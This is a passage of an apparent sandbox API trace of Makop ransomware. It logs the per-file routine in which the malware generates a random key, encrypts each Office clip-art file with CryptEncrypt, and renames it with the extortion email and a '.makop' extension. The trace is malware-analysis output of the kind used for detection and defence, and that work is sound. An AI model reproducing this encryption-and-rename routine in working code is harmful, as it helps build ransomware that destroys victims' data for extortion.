lpNewFilePointer=0x0) returned 1 [0120.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.409] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.409] GetProcessHeap () returned 0x48a0000 [0120.409] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.409] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.409] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.410] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.410] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.410] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.411] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.411] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.411] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x274c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x274c, lpOverlapped=0x0) returned 1 [0120.412] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2750, dwBufLen=0x2750 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2750) returned 1 [0120.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.413] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2750, lpOverlapped=0x0) returned 1 [0120.413] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.413] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.414] SetEndOfFile (hFile=0xf0) returned 1 [0120.421] GetProcessHeap () returned 0x48a0000 [0120.421] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.421] GetProcessHeap () returned 0x48a0000 [0120.421] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.421] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.422] CloseHandle (hObject=0xf0) returned 1 [0120.422] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0120.423] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned 63 [0120.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.423] GetProcessHeap () returned 0x48a0000 [0120.423] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.424] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.424] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.424] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.434] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.434] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.434] GetProcessHeap () returned 0x48a0000 [0120.434] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.434] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.434] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.434] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.435] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.435] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.435] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.435] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.435] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.436] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.436] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.436] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x16b4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x16b4, lpOverlapped=0x0) returned 1 [0120.437] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x16c0) returned 1 [0120.437] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.438] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x16c0, lpOverlapped=0x0) returned 1 [0120.438] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.438] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.438] SetEndOfFile (hFile=0xf0) returned 1 [0120.446] GetProcessHeap () returned 0x48a0000 [0120.446] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.446] GetProcessHeap () returned 0x48a0000 [0120.446] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.446] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.448] CloseHandle (hObject=0xf0) returned 1 [0120.448] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0120.448] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0120.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.449] GetProcessHeap () returned 0x48a0000 [0120.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.449] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.449] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.449] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.453] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.453] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.454] GetProcessHeap () returned 0x48a0000 [0120.454] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.454] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.454] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.454] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.454] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.454] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.455] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.455] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.455] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.455] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.455] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5bfc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5bfc, lpOverlapped=0x0) returned 1 [0120.457] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c00, dwBufLen=0x5c00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c00) returned 1 [0120.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.457] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c00, lpOverlapped=0x0) returned 1 [0120.457] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.457] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.458] SetEndOfFile (hFile=0xf0) returned 1 [0120.465] GetProcessHeap () returned 0x48a0000 [0120.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.465] GetProcessHeap () returned 0x48a0000 [0120.465] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.466] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.466] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.467] CloseHandle (hObject=0xf0) returned 1 [0120.467] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0120.467] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned 63 [0120.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.470] GetProcessHeap () returned 0x48a0000 [0120.470] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.470] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.470] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.470] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.474] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.474] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.475] GetProcessHeap () returned 0x48a0000 [0120.475] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.475] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.475] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.475] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.475] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.475] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.476] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.476] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.476] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.476] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.476] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2e7c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2e7c, lpOverlapped=0x0) returned 1 [0120.478] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2e80) returned 1 [0120.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.478] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2e80, lpOverlapped=0x0) returned 1 [0120.478] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.478] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.479] SetEndOfFile (hFile=0xf0) returned 1 [0120.486] GetProcessHeap () returned 0x48a0000 [0120.486] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.486] GetProcessHeap () returned 0x48a0000 [0120.486] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.486] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.488] CloseHandle (hObject=0xf0) returned 1 [0120.488] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0120.489] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63 [0120.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 